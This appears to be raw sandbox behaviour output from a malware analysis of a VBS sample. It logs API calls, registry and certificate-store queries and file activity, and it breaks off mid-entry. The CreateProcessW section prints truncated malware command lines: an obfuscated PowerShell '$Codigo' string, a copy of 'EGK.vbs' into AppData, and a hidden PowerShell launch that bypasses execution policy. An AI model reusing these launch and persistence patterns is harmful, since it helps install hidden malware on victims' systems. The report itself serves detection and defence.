000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003604) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000000000000000000f00f000000000000330300000d000000101bc60300000000e018c60300000000f00f00000000000079007300740065000300000001000000f07c0500000000006900700074002e00ec7e050000000000508305000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c803a97700000000000000000000000040000000000000000000050000000000a0b21702000000003000000000000000b80205000000000048dd9c77000000000000000000000000300000000000000036002600 (UID: 00000000-00003604) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000050000000000d8dd9c7700000000000000000000000000e0df030000000000e0df0300000000a91300ba0000000067c85674000000000200000000000000b081d9fefe070000000000000000000019000200000000000000000000000000000000000000000002000002000000000200000000000000d53977770000000010f7080000000000080000080000000010f70800000000000000000000000000e0a713000000000000000000000000002b000000000000000000000000000000000000000000000010f708000000000030b7c40300000000c073cefdfe07000080f2df03 (UID: 00000000-00003604) "cmd.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003244) "cmd.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000230000000000d046230000000000d8022300000000002447230000000000000000000000000024472300000000003002230000000000fccd91fdfe070000f8022300000000000000000000000000300223000000000006000006000000000000000000000000300223000000000000000000000000007701000000000000d0462300000000000000000000000000000000000000000028ae9a77000000000000000000000000a8cf130000000000010000000000000010cb1300000000000100000000000000ca2147fdfe0700000000000000000000f04d4afdfe07000010cb1300 (UID: 00000000-00001976) "cmd.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001976) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a0ba2600000000002002c2fdfe0700005c00000000000000600dc2fdfe0700000000000000000000000000000000000000000000000000007c2194976ccf000000800000000000006c2194976ccf0000a0ba270000000000030000000000000057000780 (UID: 00000000-00002396)2a:T2065,"WScript.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000d0b7df03000000000050fdffff0700000000130200000000101bc60300000000000000000000000002000000000000000000000000000000d4101302000000000030fdffff0700000050fdffff070000d0b7df03000000002b0000000000000089ce91fdfe0700000030fdff (UID: 00000000-00003604) "WScript.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003604) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000000000000000000000000000000000000070f029000000000080f0290000000000010000000000000000000000000000000200000000000000000000000000000000003000000000000000040000000000ccf429000000000080f129000000000053d87677000000002ef20300 (UID: 00000000-00003604) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000000000008f8c8f4fe0700000000000000000000d213f1fefe07000002000000ff07000000010000000000001c0000000000000089ce91fdfe07000001000000000000009f14c8f4fe070000000000000000000008f8c8f4fe070000ffffffff000000008213e7fefe07000001000000 (UID: 00000000-00003604) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100f4fe0700000000000000000000d0726ff4fe0700002d2d6df4fe070000582c70f4fe070000307f5d0000000000407f5d000000000044ee6ff4fe0700000100000000000000478ef1fefe0700000000000000000000e8726ff4fe07000000006df4fe07000020656ff4fe07000001000000 (UID: 00000000-00003604) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100f4fe070000000000000000000098e666f4fe070000791465f4fe070000d08667f4fe07000050815d000000000070815d000000000040ca2900000000000100000000000000478ef1fefe0700000000000000000000b0e666f4fe0700000100000000000000a3a192fdfe07000001000000 (UID: 00000000-00003604) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000b02da4f4fe0700000000000000000000d213f1fefe07000002000000fe070000000100000000000070815d000000000040ca29000000000001000000000000006f1ba3f4fe0700000000000000000000b02da4f4fe0700000100000000000000a3a192fdfe07000001000000 (UID: 00000000-00003604) "powershell.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000a0a32600000000000050fdffff0700000000f30100000000f065470000000000000000000000000002000000000000000000000000000000d410f3010000000000e0fdffff0700000050fdffff070000a0a32600000000001e0000000000000089ce91fdfe07000000e0fdff (UID: 00000000-00002396) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c002e0032002e004d0061006e006900660065007300 (UID: 00000000-00002396) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000000000080e126000000000000000000000000007718b1f4fe07000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000051f4fe07000080e126000000000000000000 (UID: 00000000-00002396) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002396) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c0000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002396) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000001de7d7fefe07000044030000000000008341777700000000000000000000000074b2260000000000000000000000000010b3260000000000380879ebfe070000bb2185ebfe070000000000000000000000000000000000000000000000000000380879ebfe07000000000000 (UID: 00000000-00002396) "powershell.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b203100000000000090a81100000000000060fdffff0700000000fb010000000000ee1b0000000000000000000000000002000000000000000000000000000000d410fb010000000000e0fdffff0700000060fdffff07000090a81100000000001e0000000000000089ce91fdfe07000000e0fdff (UID: 00000000-00003724) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c002e0032002e004d0061006e006900660065007300 (UID: 00000000-00003724) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000000000070e611000000000000000000000000007718cdf4fe070000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000a5f4fe07000070e611000000000000000000 (UID: 00000000-00003724) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003724) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c0000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003724) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000001de7d7fefe07000054030000000000008341777700000000000000000000000064b7110000000000000000000000000000b8110000000000380875eefe070000bb2181eefe070000000000000000000000000000000000000000000000000000380875eefe07000000000000 (UID: 00000000-00003724) "powershell.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000e0a52600000000000070fdffff070000000033000000000050cc140000000000000000000000000002000000000000000000000000000000d41033000000000000e0fdffff0700000070fdffff070000e0a52600000000001e0000000000000089ce91fdfe07000000e0fdff (UID: 00000000-00002752) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c002e0032002e004d0061006e006900660065007300 (UID: 00000000-00002752) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000c0e326000000000000000000000000007718cdf4fe070000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000a5f4fe070000c0e326000000000000000000 (UID: 00000000-00002752)2b:T538,"WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "PING.EXE" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")2c:Ta08,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E63BE247-2D1C-4749-B86C-7B5FABD92F0C}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E63BE247-2D1C-4749-B86C-7B5FABD92F0C}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E63BE247-2D1C-4749-B86C-7B5FABD92F0C}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E63BE247-2D1C-4749-B86C-7B5FABD92F0C}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E63BE247-2D1C-4749-B86C-7B5FABD92F0C}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E63BE247-2D1C-4749-B86C-7B5FABD92F0C}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DHCPNAMESERVER"; Value: "")2d:T65f,"powershell.exe" trying to touch file "C:\Users\RswcfmC\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590AEE7BDD69B59B.CUSTOMDESTINATIONS-MS" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VR7V0BTQ38W0RIS2AOFU.TEMP" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VR7V0BTQ38W0RIS2AOFU.temp" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W5QMSBYDTM2JFXSMFHV2.TEMP" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W5QMSBYDTM2JFXSMFHV2.temp" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF101cf0.TMP" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZK2DQA241HPPG99LKDYM.TEMP" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZK2DQA241HPPG99LKDYM.temp"2e:Ta03,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")2f:T55e,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\1FB86B1168EC743154062E8C9CC5B171A4B7CCB4"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55"; Key: "BLOB")30:T611,"WScript.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003604) "powershell.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00002396) "powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations (UID: 00000000-00002396) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002396) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002396) "powershell.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003724) "powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations (UID: 00000000-00003724) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00003724) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00003724) "powershell.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00002752) "powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations (UID: 00000000-00002752) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002752) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002752)31:T425,"WScript.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$#" - (UID: 00000000-00003604) "WScript.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\EGK.vbs','C:\Use" - (UID: 00000000-00003604) "cmd.exe" called "CreateProcessW" with parameter "ping 127.0.0.1 -n 5" - (UID: 00000000-00003244) "cmd.exe" called "CreateProcessW" with parameter "cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\EGK.vbs','%APPDATA%\Mi" - (UID: 00000000-00003244) "cmd.exe" called "CreateProcessW" with parameter "powershell -command [System.IO.File]::Copy('C:\EGK.vbs','%APPDATA%\Microsoft\Wind" - (UID: 00000000-00001976) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imag" - (UID: 00000000-00003724)32:T8e49,"WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\WScript.exe (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter SXS.DLL (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter WINTRUST.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter MSISIP.DLL (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPT32.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\wshext.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00003604) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00003604) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003244) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003244) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003244) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003244) "PING.EXE" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003684) "PING.EXE" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003684) "PING.EXE" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003684) "PING.EXE" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter 